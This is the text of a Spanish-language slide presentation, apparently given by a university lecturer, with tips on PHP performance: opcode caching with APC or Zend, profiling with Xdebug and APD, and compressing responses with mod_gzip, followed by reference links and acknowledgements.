    • Emplea cache de código intermedio/compilado (1) La situación: Compilación del código de PHP (en el servidor) consume tiempo ➔ Tu código de PHP es recompilado cada vez que hay un pedido ➔ Aún si es 0.5 seg por cada pedido, eso significa mas de 2 minutos en sólo 250 pedidos ➔ Compilar algunos archivos de PHP toma más tiempo que ejecutarlos, en particular si estos incluyen muchos otros archivos (clases, configuración, etc.) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Emplea cache de código intermedio/compilado (2) La solución: Usa cache de OP code ➔ El motor Zend compila el código PHP en OP code antes de ejecutarlo ➔ El OP code no cambia a menos que cambies tu código fuente ➔ Un cache de OP code ahorra la compilación ● Recomendaciones de caches de OP code: ➔ APC (Código Libre): http://pecl.php.net/APC ➔ Zend perfomance suite (comercial): http://www.zend.com Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Emplea cache de código intermedio/compilado (3) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Haz un perfil del aplicativo (1) La situación: Es difícil encontrar los cuellos de botella en un aplicativo grande ➔ Aún los aplicativos mejor diseñados y escritos, pueden sufrir de componentes que causan que todo funciones lentamente ➔ Encontrar los cuellos de botella, en ocasiones es muy, pero muy, difícil ➔ El tratar de encontrar problemas por pruebas y error al azar, consume tiempo y no es efectivo en casos complejos Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Haz un perfil del aplicativo (2) La solución: Haz un perfil de tu código ➔ Un perfilador te muestra cuanto tiempo consume cada parte de tu código ➔ Xdebug también tiene un perfilador ➔ Un perfilador identifica inequívocamente los cuellos de botella (no tienes que adivinar) ● Recomendaciones de perfiladores ➔ Xdebug (Código Libre): http://xdebug.org/ ➔ APD (Código Libre): http://pecl.php.net/package/apd Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usa mod_gzip (1) La situación: No tienes ancho de banda suficiente para tu servidor de web ➔ A veces el problema no es la velocidad de tu CPU, tus discos o tu base de datos ➔ Con muchos datos a transmitir, o un ancho de banda pobre, la velocidad de transmisión sufre ➔ Las sugerencias usuales para mejorar la performance de tu aplicativo, no te son muy útiles en este caso Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usa mod_gzip (2) La solución: Usa mod_gzip ➔ Comprime tus datos en tiempo real ➔ Compresión GZIP es parte de HTTP 1.1 ➔ Puede reducir los datos a ser transferidos hasta en un 80% ➔ Está disponible como un módulo de Apache ➔ Para más información: http://sourceforge.net/projects/mod-gzip/ Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Palabras finales ● El mejorar tu código implica cambios de hábitos y el uso de herramientas que hagan tu trabajo mejor y mas eficiente ● Lee código y eso ayudará a que el tuyo mejore. Lo mismo para la documentación. ● Programa considerando la seguridad como parte integral de tu diseño y no como algo secundario. ● Mejorar la performance no es difícil, pero requiere algo de trabajo. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Para mas información ● PHP: http://www.php.net ● Zend: http://www.zend.com ● Manual de PHP: http://www.php.net/manual/ ● Charlas acerca de PHP: http://talks.php.net/ ● Bugs: http://bugs.php.net/ ● Listas de correo: http://news.php.net ● CVS: http://cvs.php.net ● Otros sitios de PHP.net: http://www.php.net/sites.php ● Libros: http://www.php.net/books.php ● Otras referencias: http://www.php.net/links.php Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • ¡Gracias! ✔ A los organizadores por su invitación para hablar acerca de este tema. ✔ A ustedes por no aburrirse mucho con mi charla interminable. ✔ A todos los desarrolladores de PHP que nos hacen la vida mas fácil. ✔ A Kore Nordmann y Tobias Schlitt, de quienes tomé gran parte del material. Esta y otras presentaciones disponibles en: http://www.castagnetto.com/ Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia